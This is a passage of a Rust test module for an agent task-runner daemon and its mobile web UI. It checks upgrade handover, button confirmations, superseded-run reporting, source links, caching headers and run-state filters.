14947 let home = TempDir::new().expect("temp home");
14948 let ui = idle_ui(&home);
14949 ui.start_loop(None).expect("start");
14950 ui.park_for_upgrade().expect("first park");
14951 ui.park_for_upgrade().expect("second park");
14952 assert!(handed_over(&home, ui).await);
14953 }
14954
14955 #[tokio::test]
14956 async fn a_stop_during_the_handover_wait_is_honoured() {
14957 let home = TempDir::new().expect("temp home");
14958 let ui = idle_ui(&home);
14959 ui.start_loop(None).expect("start");
14960 ui.park_for_upgrade().expect("park");
14961 ui.stop_loop(None, false).expect("stop");
14962 assert!(!handed_over(&home, ui).await);
14963 }
14964
14965 #[tokio::test]
14966 async fn an_idle_loop_stays_stopped_across_the_handover() {
14967 let home = TempDir::new().expect("temp home");
14968 let ui = idle_ui(&home);
14969 ui.park_for_upgrade().expect("park");
14970 assert!(!handed_over(&home, ui).await);
14971
14972 let successor = idle_ui(&home);
14973 assert!(!successor.resume_after_handover(false));
14974 assert!(!successor.loop_view(None).running);
14975 }
14976
14977 #[tokio::test]
14978 async fn a_loop_the_operator_stopped_is_not_resumed() {
14979 let home = TempDir::new().expect("temp home");
14980 let ui = idle_ui(&home);
14981 ui.start_loop(None).expect("start");
14982 ui.stop_loop(None, false).expect("stop");
14983 ui.park_for_upgrade().expect("park");
14984 assert!(!handed_over(&home, ui).await);
14985 }
14986
14987 #[test]
14988 fn only_an_explicit_one_requests_a_resume() {
14989 assert!(!resume_requested(None));
14990 assert!(!resume_requested(Some("0".into())));
14991 assert!(!resume_requested(Some("".into())));
14992 assert!(resume_requested(Some("1".into())));
14993 }
14994
14995 #[test]
14996 fn the_upgrade_button_arms_before_it_restarts_anything() {
14997 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15000 assert!(APP_JS.contains("Replace the binary and restart?"));
15001 assert!(APP_JS.contains("function confirmed("));
15002 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15007 assert!(
15011 APP_JS.contains("Parking, then restarting"),
15012 "the button says what it is waiting for"
15013 );
15014 assert!(APP_JS.contains("if (!out.to)"));
15017 }
15018
15019 #[test]
15020 fn stopping_the_loop_arms_but_starting_does_not() {
15021 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15024 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15025 assert!(APP_JS.contains("confirmed(button, question)"));
15026 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
15029 assert!(APP_JS.contains("const label = btn.textContent;"));
15030 assert!(!APP_JS.contains("Neither direction is guarded"));
15031 }
15032
15033 #[test]
15034 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15035 assert!(
15036 APP_JS.contains("state.health.version"),
15037 "the operator wants to know what is running even with nothing newer"
15038 );
15039 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15040 }
15041
15042 #[test]
15043 fn the_upgrade_button_names_its_destination() {
15044 assert!(
15045 APP_JS.contains("`Update to ${update.to}`"),
15046 "pressing the button should not be a surprise about what it moves to"
15047 );
15048 }
15049
15050 #[test]
15051 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15052 for stage in ["downloading", "replaced", "parking", "restarting"] {
15053 assert!(
15054 APP_JS.contains(&format!("\"{stage}\"")),
15055 "the phone must be able to tell {stage} apart from the others"
15056 );
15057 }
15058 assert!(APP_JS.contains(".waiting_on"));
15059 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15064 assert!(APP_JS.contains("reconnects on its own"));
15065 }
15066
15067 #[test]
15068 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15069 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15078 ..APP_JS.find("function upgrade(").expect("upgrade")];
15079 assert!(
15080 !body.contains(
15081 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
15082 ),
15083 "a failed upgrade must not take the whole strip over the way it used to"
15084 );
15085 assert!(
15086 body.contains("upgradeFailNote"),
15087 "the failure has to reach the loop's own note instead"
15088 );
15089 assert_eq!(
15093 body.matches("upgradeFailNote].filter(Boolean).join")
15094 .count(),
15095 2,
15096 "both loop-why writers (quiet and control) must fold the note in"
15097 );
15098 }
15099
15100 #[test]
15101 fn an_overdue_upgrade_eventually_asks_for_a_human() {
15102 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15105 assert!(APP_JS.contains("function upgradeOverdue("));
15106 }
15107
15108 #[test]
15109 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15110 assert!(
15111 APP_JS.contains("Updated to ${upgradeInfo.to"),
15112 "the operator who asked for the restart wants to know it worked"
15113 );
15114 }
15115
15116 #[test]
15117 fn an_error_is_visible_from_where_the_button_is() {
15118 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15123 ..APP_CSS.find(".alert-text").expect(".alert-text")];
15124 assert!(
15125 alert.contains("position: fixed"),
15126 "an error about the thing under your thumb has to be visible from \
15127 where your thumb is: {alert}"
15128 );
15129 assert!(
15130 alert.contains("z-index: 25"),
15131 "above the dock (20) and the run-actions FAB (15), so neither \
15132 buries it: {alert}"
15133 );
15134 assert!(
15135 alert.contains("var(--tap)"),
15136 "and clear of the dock and the home indicator: {alert}"
15137 );
15138 assert!(
15141 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15142 "the FAB's column stays free: {alert}"
15143 );
15144 }
15145
15146 #[tokio::test]
15147 async fn an_older_attempt_says_what_replaced_it() {
15148 let fx = Fixture::start().await;
15149 let q = fx.queue();
15150 let runs = fx.runs();
15151 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15152 write_run(&runs, first, RunStatus::Stalled);
15153 write_run(&runs, second, RunStatus::Blocked);
15154
15155 let mut t = Task::new(
15156 "one task".to_owned(),
15157 "do it".to_owned(),
15158 PathBuf::from("/repo"),
15159 Source::Human,
15160 );
15161 t.runs = vec![first.to_owned(), second.to_owned()];
15162 q.put(&mut t).expect("put");
15163
15164 let rows = fx.get("/api/runs").await.json();
15168 let by = |short: &str| -> Value {
15169 rows.as_array()
15170 .unwrap()
15171 .iter()
15172 .find(|r| r["short"] == short)
15173 .cloned()
15174 .unwrap_or(Value::Null)
15175 };
15176 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15177 assert!(
15178 by("bbbb")["superseded_by"].is_null(),
15179 "the latest attempt is not superseded by anything"
15180 );
15181 assert!(APP_JS.contains("run.superseded_by"));
15183 assert!(APP_JS.contains("Superseded by"));
15184 }
15185
15186 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15187 let mut t = Task::new(
15188 "one task".to_owned(),
15189 "do it".to_owned(),
15190 PathBuf::from("/repo"),
15191 Source::Human,
15192 );
15193 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15194 t.status = status;
15195 t
15196 }
15197
15198 #[test]
15199 fn source_link_picks_the_page_that_filed_the_task() {
15200 let agent = |node: &str| Source::Agent {
15201 run: "20260904-014455-ab12".to_owned(),
15202 node: node.to_owned(),
15203 };
15204 let chat = source_link(&agent("chat")).expect("chat link");
15205 assert_eq!(chat.kind, "chat");
15206 assert_eq!(chat.id, "20260904-014455-ab12");
15207 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15208 let run = source_link(&agent("implement")).expect("run link");
15209 assert_eq!(
15210 (run.kind, run.href.as_str()),
15211 ("run", "#/runs/20260904-014455-ab12")
15212 );
15213 assert_eq!(source_link(&Source::Human), None);
15214 assert_eq!(
15215 source_link(&Source::Issue {
15216 number: 3,
15217 repo: "o/r".to_owned()
15218 }),
15219 None
15220 );
15221 let odd = source_link(&Source::Agent {
15222 run: "a b/c".to_owned(),
15223 node: "chat".to_owned(),
15224 })
15225 .expect("link");
15226 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15227 }
15228
15229 #[test]
15230 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15231 assert!(
15232 !APP_JS.contains("src.node === \"chat\""),
15233 "inline href rule is back"
15234 );
15235 assert!(
15236 APP_JS.matches("sourceLinkOf(").count() >= 4,
15237 "helper must serve every page"
15238 );
15239 assert!(
15240 APP_JS.matches("openChatLink(").count() >= 3,
15241 "the run page still needs its explicit chat link"
15242 );
15243 assert!(
15244 !APP_JS.contains("const openChat = el("),
15245 "the Queue card duplicates its source label link again"
15246 );
15247 assert!(
15248 APP_JS.contains("metaKids.push(link ? el(\"a\""),
15249 "the task page must link a chat source label too"
15250 );
15251 }
15252
15253 #[test]
15254 fn task_ref_carries_the_source_link_for_a_chat_task() {
15255 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15256 t.source = Source::Agent {
15257 run: "20260904-014455-ab12".to_owned(),
15258 node: "chat".to_owned(),
15259 };
15260 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15261 let v = serde_json::to_value(&out).expect("json");
15262 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15263 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15264 assert_eq!(v["source_label"], t.source.label());
15265
15266 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15267 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15268 .expect("json");
15269 assert!(v["source_link"].is_null(), "{v}");
15270 }
15271
15272 #[test]
15273 fn task_view_serializes_source_link() {
15274 let mut t = Task::new(
15275 "t".to_owned(),
15276 "t".to_owned(),
15277 PathBuf::from("/repo"),
15278 Source::Agent {
15279 run: "20260901-000000-aaaa".to_owned(),
15280 node: "implement".to_owned(),
15281 },
15282 );
15283 t.runs.clear();
15284 let v = serde_json::to_value(TaskView::from(t)).expect("json");
15285 assert_eq!(v["source_link"]["kind"], "run", "{v}");
15286 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15287 }
15288
15289 #[tokio::test]
15290 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15291 let fx = Fixture::start().await;
15292 let runs = fx.runs();
15293 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15294 write_run(&runs, old, RunStatus::Blocked);
15295 write_run(&runs, new, RunStatus::Merged);
15296 let mut t = outcome_task(&[old, new], TaskStatus::Done);
15297 fx.queue().put(&mut t).expect("put");
15298
15299 let view = fx.get(&format!("/api/runs/{old}")).await.json();
15300 let task = &view["task"];
15301 assert_eq!(task["status"], "done");
15302 assert_eq!(task["is_latest"], false);
15303 assert_eq!(task["latest"]["short"], "bbbb");
15304 assert_eq!(task["finished_by"]["id"], new);
15305 assert_eq!(task["finished_by"]["outcome"], "merged");
15306 assert_eq!(task["closed_by_hand"], false);
15307 assert_eq!(view["status"], "blocked", "the run keeps its own status");
15308 assert!(APP_JS.contains("finished_by"));
15309 assert!(APP_JS.contains("superseded by run"));
15310 }
15311
15312 #[tokio::test]
15313 async fn the_latest_run_reports_a_held_task_without_a_successor() {
15314 let fx = Fixture::start().await;
15315 let runs = fx.runs();
15316 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15317 write_run(&runs, old, RunStatus::Stalled);
15318 write_run(&runs, new, RunStatus::Blocked);
15319 let mut t = outcome_task(&[old, new], TaskStatus::Held);
15320 fx.queue().put(&mut t).expect("put");
15321
15322 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15323 assert_eq!(task["status"], "held");
15324 assert_eq!(task["is_latest"], true);
15325 assert!(task["latest"].is_null());
15326 assert!(task["finished_by"].is_null());
15327 assert_eq!(task["closed_by_hand"], false);
15328 }
15329
15330 #[tokio::test]
15331 async fn a_direct_run_has_no_task_outcome() {
15332 let fx = Fixture::start().await;
15333 let runs = fx.runs();
15334 let id = "20260901-000000-aaaa";
15335 write_run(&runs, id, RunStatus::Blocked);
15336 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15337 assert!(view["task"].is_null());
15338 }
15339
15340 #[test]
15341 fn task_outcome_does_not_guess_a_finishing_run() {
15342 let a = "20260901-000000-aaaa";
15343 let b = "20260901-000000-bbbb";
15344 let c = "20260901-000000-cccc";
15345 let dir = tempfile::tempdir().expect("tempdir");
15346 write_run(dir.path(), a, RunStatus::Blocked);
15347 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15348 let read = |id: &str| read_run(dir.path(), id).ok();
15350 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15353 let out = task_outcome(&t, a, 3, read);
15354 assert!(out.finished_by.is_none());
15355 assert!(out.closed_by_hand);
15356 let latest = out.latest.expect("latest");
15357 assert_eq!(latest.id, c);
15358 assert_eq!(latest.status, None);
15359 assert_eq!(latest.outcome, "record unreadable");
15360
15361 write_run(dir.path(), c, RunStatus::Ready);
15363 let t = outcome_task(&[a, c], TaskStatus::Done);
15364 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15365 assert_eq!(out.finished_by.expect("finisher").id, c);
15366 assert!(!out.closed_by_hand);
15367
15368 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15370 assert!(task_outcome(&t, a, 3, read).is_latest);
15371 }
15372
15373 #[tokio::test]
15374 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15375 let fx = Fixture::start().await;
15380 let q = fx.queue();
15381 let runs = fx.runs();
15382 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15383 write_run(&runs, first, RunStatus::Blocked);
15384 write_run(&runs, second, RunStatus::Merged);
15385
15386 let mut t = Task::new(
15387 "one task".to_owned(),
15388 "do it".to_owned(),
15389 PathBuf::from("/repo"),
15390 Source::Human,
15391 );
15392 t.runs = vec![first.to_owned(), second.to_owned()];
15393 q.put(&mut t).expect("put");
15394
15395 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15396 assert_eq!(earlier["superseded_by"], "dddd");
15397 assert_eq!(earlier["latest_attempt"]["id"], second);
15398 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15399 assert_eq!(
15400 earlier["latest_attempt"]["resolved"], true,
15401 "the run that replaced it landed, so this one reads as settled"
15402 );
15403
15404 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15405 assert!(
15406 later["superseded_by"].is_null(),
15407 "the latest attempt is not superseded by anything"
15408 );
15409 assert!(
15410 later["latest_attempt"].is_null(),
15411 "the latest attempt has no later attempt of its own"
15412 );
15413
15414 assert!(APP_JS.contains("run.latest_attempt"));
15421 assert!(APP_JS.contains("data-superseded"));
15422 assert!(APP_JS.contains("#/runs/${latest.id}"));
15423 }
15424
15425 #[tokio::test]
15426 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15427 let fx = Fixture::start().await;
15433 let q = fx.queue();
15434 let runs = fx.runs();
15435 let (a, b, c) = (
15436 "20260901-000000-aaaa",
15437 "20260901-000000-bbbb",
15438 "20260901-000000-cccc",
15439 );
15440 write_run(&runs, a, RunStatus::Blocked);
15441 write_run(&runs, b, RunStatus::Blocked);
15442 write_run(&runs, c, RunStatus::Merged);
15443
15444 let mut t = Task::new(
15445 "retried twice".to_owned(),
15446 "do it".to_owned(),
15447 PathBuf::from("/repo"),
15448 Source::Human,
15449 );
15450 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15451 q.put(&mut t).expect("put");
15452
15453 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15454 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15455 assert_eq!(
15456 view["latest_attempt"]["id"], c,
15457 "the chain's current head, not the intermediate Blocked retry"
15458 );
15459 assert_eq!(view["latest_attempt"]["resolved"], true);
15460
15461 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15462 assert_eq!(mid["latest_attempt"]["id"], c);
15463 assert_eq!(mid["latest_attempt"]["resolved"], true);
15464 }
15465
15466 #[tokio::test]
15467 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15468 let fx = Fixture::start().await;
15469 let q = fx.queue();
15470 let runs = fx.runs();
15471
15472 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15475 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15476 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15477 let mut t1 = Task::new(
15478 "still stuck".to_owned(),
15479 "do it".to_owned(),
15480 PathBuf::from("/repo"),
15481 Source::Human,
15482 );
15483 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15484 q.put(&mut t1).expect("put");
15485 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15486 assert_eq!(view1["latest_attempt"]["resolved"], false);
15487 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15488 assert_eq!(view1["latest_attempt"]["done"], true);
15489
15490 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15492 write_run(&runs, run_a, RunStatus::Blocked);
15493 write_run(&runs, run_b, RunStatus::Implementing);
15494 let mut t3 = Task::new(
15495 "retrying".to_owned(),
15496 "do it".to_owned(),
15497 PathBuf::from("/repo"),
15498 Source::Human,
15499 );
15500 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15501 q.put(&mut t3).expect("put");
15502 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15503 assert_eq!(view3["latest_attempt"]["id"], run_b);
15504 assert_eq!(view3["latest_attempt"]["resolved"], false);
15505 assert_eq!(view3["latest_attempt"]["done"], false);
15506
15507 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15512 write_run(&runs, noop_a, RunStatus::Blocked);
15513 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15514 let mut t2 = Task::new(
15515 "claims done".to_owned(),
15516 "do it".to_owned(),
15517 PathBuf::from("/repo"),
15518 Source::Human,
15519 );
15520 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15521 q.put(&mut t2).expect("put");
15522 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15523 assert_eq!(
15524 view2["latest_attempt"]["resolved"], false,
15525 "an unverified no-op claim must not read as a confirmed finish"
15526 );
15527
15528 assert!(APP_JS.contains("latest.resolved"));
15531 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15534 assert!(APP_JS.contains("Latest attempt: "));
15535 assert!(APP_JS.contains("in flight"));
15536 assert!(APP_JS.contains("not resolved"));
15537 }
15538
15539 #[tokio::test]
15540 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15541 let fx = Fixture::start().await;
15542 let js = fx.get("/app.js").await;
15548 assert_eq!(js.status, 200);
15549 let tag = js
15550 .header("etag")
15551 .expect("an etag to revalidate against")
15552 .to_owned();
15553 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15554 assert_eq!(
15555 js.header("cache-control"),
15556 Some("no-cache, must-revalidate"),
15557 "the phone has to ask every time"
15558 );
15559
15560 let again = fx
15563 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15564 .await;
15565 assert_eq!(
15566 again.status, 304,
15567 "a deck it already has costs one round trip"
15568 );
15569 assert!(again.body.is_empty(), "304 carries no body");
15570
15571 let weak = fx
15574 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15575 .await;
15576 assert_eq!(weak.status, 304);
15577 let stale = fx
15578 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15579 .await;
15580 assert_eq!(stale.status, 200, "an older build must be replaced");
15581 assert!(stale.body.contains("renderRunActions"));
15582 }
15583
15584 #[test]
15585 fn the_task_detail_has_an_actions_fab_and_sheet() {
15586 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15587 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15588 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15589 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15591 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15592 assert!(APP_JS.contains("renderTaskActions(task);"));
15594 assert!(APP_JS.contains("renderTaskActions(null);"));
15595 let sheet = APP_JS
15597 .find("function renderTaskActions")
15598 .expect("sheet renderer");
15599 let body = &APP_JS[sheet..sheet + 3000];
15600 assert!(body.contains("changePriority("));
15601 assert!(body.contains("openTaskEdit(task)"));
15602 assert!(body.contains("renderTaskHoldBox(host"));
15603 assert!(body.contains("renderTaskDoneBox(host"));
15604 assert!(body.contains("renderTaskDeleteBox(host"));
15605 assert!(APP_JS.contains("API.priority(id)"));
15606 assert!(APP_JS.contains("API.deleteTask(id)"));
15607 assert!(APP_JS.contains("location.hash = \"#/queue\""));
15609 assert!(APP_JS.contains("$(\"task-actions-error\")"));
15611 }
15612
15613 #[test]
15614 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
15615 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
15616 let actions = INDEX_HTML
15617 .find("id=\"run-actions-box\"")
15618 .expect("actions box");
15619 assert!(task < actions, "the task entry comes first in the sheet");
15620 assert!(APP_JS.contains("renderRunTaskEntry"));
15621 assert!(APP_JS.contains("\"Open task \""));
15622 assert!(APP_JS.contains("started directly, no task"));
15624 assert!(APP_JS.contains("sheet-task-link"));
15625 assert!(APP_JS.contains("task-chip-link"));
15626 }
15627
15628 #[test]
15629 fn the_deck_never_sends_the_operator_to_a_terminal() {
15630 assert!(
15633 !APP_JS.contains("Run `magi fold` first"),
15634 "the deck must offer the fold, not prescribe a shell command"
15635 );
15636 assert!(APP_JS.contains("foldRun:"));
15637 assert!(APP_JS.contains("resumeRun:"));
15638 assert!(APP_JS.contains("renderRunActions"));
15639
15640 assert!(APP_JS.contains("armedFold"));
15642 assert!(APP_JS.contains("Yes, fold worktrees"));
15643
15644 assert!(APP_JS.contains("can no longer be resumed"));
15647 }
15648
15649 #[test]
15650 fn a_finished_run_explains_itself_with_its_own_last_line() {
15651 assert!(
15657 !APP_JS.contains("collapsed on agent quota"),
15658 "a stall must not be explained by a cause the deck did not check"
15659 );
15660 assert!(
15661 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
15662 "and a block must not offer a guess with an `or` in it"
15663 );
15664
15665 assert!(
15669 APP_JS.contains("setText(r.event, run.event || \"\")"),
15670 "the run's last line is rendered unconditionally"
15671 );
15672 assert!(
15673 !APP_JS.contains("moving && run.event"),
15674 "and never gated on the run still moving"
15675 );
15676
15677 assert!(APP_JS.contains("lost to quota"));
15679 }
15680
15681 #[test]
15703 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
15704 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
15705 let shapes_body_start =
15706 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
15707 let shapes_close = APP_JS[shapes_body_start..]
15708 .find("].map(")
15709 .expect("the shape list is closed by its done-computing .map(...)")
15710 + shapes_body_start;
15711 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
15712
15713 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
15714 for entry in shapes_src.split('{').skip(1) {
15715 let waiting = entry.contains("waiting: true");
15716 let dead = entry.contains("live: \"dead\"");
15717 let status_at =
15718 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
15719 let status_end = entry[status_at..]
15720 .find('"')
15721 .expect("the status string is closed")
15722 + status_at;
15723 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15724 }
15725 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15726
15727 let done_rule_marker = "done: !";
15731 let done_rule_at = APP_JS[shapes_close..]
15732 .find(done_rule_marker)
15733 .expect("the done rule follows the shape list")
15734 + shapes_close
15735 + done_rule_marker.len();
15736 let includes_at = APP_JS[done_rule_at..]
15737 .find(".includes(shape.status)")
15738 .expect("the done rule ends in .includes(shape.status)")
15739 + done_rule_at;
15740 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15741 .trim()
15742 .trim_start_matches('[')
15743 .trim_end_matches(']')
15744 .split(',')
15745 .map(|s| s.trim().trim_matches('"'))
15746 .filter(|s| !s.is_empty())
15747 .collect();
15748
15749 let shapes: Vec<(bool, String, bool, bool)> = shapes
15750 .into_iter()
15751 .map(|(waiting, status, dead)| {
15752 let done = !not_done.contains(&status.as_str());
15753 (waiting, status, dead, done)
15754 })
15755 .collect();
15756
15757 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15761 if waiting {
15762 return "waiting";
15763 }
15764 if dead
15765 && !matches!(
15766 status,
15767 "merged"
15768 | "ready"
15769 | "stalled"
15770 | "blocked"
15771 | "failed"
15772 | "verified_noop"
15773 | "superseded"
15774 | "already_in_base"
15775 )
15776 {
15777 return "stale";
15778 }
15779 match status {
15780 "merged" | "ready" => "landed",
15781 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15782 | "already_in_base" => "ended",
15783 _ => "flight",
15784 }
15785 }
15786
15787 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15790 match filter_key {
15791 "active" => !done,
15792 "flight" => !done && !waiting && !dead,
15793 "stale" => !done && !waiting && dead,
15794 "waiting" => waiting,
15795 "done" => done,
15796 "all" => true,
15797 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15798 }
15799 }
15800
15801 let compatible = |section: &str, filter_key: &str| {
15802 shapes.iter().any(|(waiting, status, dead, done)| {
15803 run_section(*waiting, status, *dead) == section
15804 && filter_matches(filter_key, *waiting, *dead, *done)
15805 })
15806 };
15807
15808 let expected = [
15813 ("waiting", [true, false, false, true, true, true]),
15814 ("stale", [true, false, true, false, false, true]),
15815 ("flight", [true, true, false, false, false, true]),
15816 ("landed", [false, false, false, false, true, true]),
15817 ("ended", [false, false, false, false, true, true]),
15818 ];
15819 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15820
15821 for (section, wants) in expected {
15822 for (filter_key, want) in filter_keys.iter().zip(wants) {
15823 assert_eq!(
15824 compatible(section, filter_key),
15825 want,
15826 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15827 );
15828 }
15829 }
15830
15831 assert!(
15834 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15835 );
15836 assert!(APP_JS.contains(
15837 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15838 ));
15839 assert!(APP_JS.contains(
15840 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15841 ));
15842 }
15843
15844 #[tokio::test]
15845 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15846 let dir = tempfile::tempdir().expect("tempdir");
15850 let explicit = dir.path().join("not-a-checkout");
15851 std::fs::create_dir_all(&explicit).expect("create dir");
15852 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15853
15854 let missing = dir.path().join("does-not-exist-at-all");
15855 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15856 }
15857
15858 #[test]
15859 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15860 assert!(APP_JS.contains("function statsDonutArcs"));
15861 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15862 assert!(APP_JS.contains("function statusInBucket"));
15864 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15865 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15866 let buckets = [
15867 "merged",
15868 "ready",
15869 "in_progress",
15870 "blocked",
15871 "failed",
15872 "verified_noop",
15873 "superseded",
15874 "stalled",
15875 ];
15876 for key in buckets {
15877 let var = format!("--verdict-{key}:");
15878 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15880 assert!(
15881 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15882 "{key}"
15883 );
15884 }
15885 }
15886}